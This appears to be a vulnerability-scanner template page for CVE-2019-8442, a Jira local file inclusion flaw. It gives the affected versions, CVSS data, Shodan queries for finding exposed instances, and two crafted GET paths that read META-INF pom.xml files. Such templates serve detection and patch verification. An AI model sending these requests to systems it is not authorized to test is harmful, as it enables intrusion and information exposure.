CVE-2019-8442: Jira - Local File Inclusion

2025-08-01 Jira PoC Public

Description

Jira before version 7.13.4, from version 8.0.0 before version 8.0.4, and from version 8.1.0 before version 8.1.1, allows remote attackers to access files in the Jira webroot under the META-INF directory via local file inclusion.

PoC

id: CVE-2019-8442

info:
  name: Jira - Local File Inclusion
  author: Kishore Krishna (siLLyDaddy)
  severity: high
  description: Jira before version 7.13.4, from version 8.0.0 before version 8.0.4, and from version 8.1.0 before version 8.1.1, allows remote attackers to access files in the Jira webroot under the META-INF directory via local file inclusion.
  impact: |
    This vulnerability can result in sensitive information exposure, unauthorized access to files, and potential compromise of the Jira application.
  remediation: |
    Apply the latest security patches or updates provided by Atlassian to mitigate the vulnerability.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-69241
    - https://nvd.nist.gov/vuln/detail/CVE-2019-8442
    - https://github.com/0ps/pocassistdb
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-8442
    epss-score: 0.59832
    epss-percentile: 0.99083
    cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: atlassian
    product: jira
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
      - http.component:"atlassian confluence"
      - cpe:"cpe:2.3:a:atlassian:jira"
  tags: cve,cve2019,atlassian,jira,lfi,intrusive,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/s/{{randstr}}/_/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml"
      - "{{BaseURL}}/s/{{randstr}}/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <groupId>com.atlassian.jira</groupId>

      - type: status
        status:
          - 200
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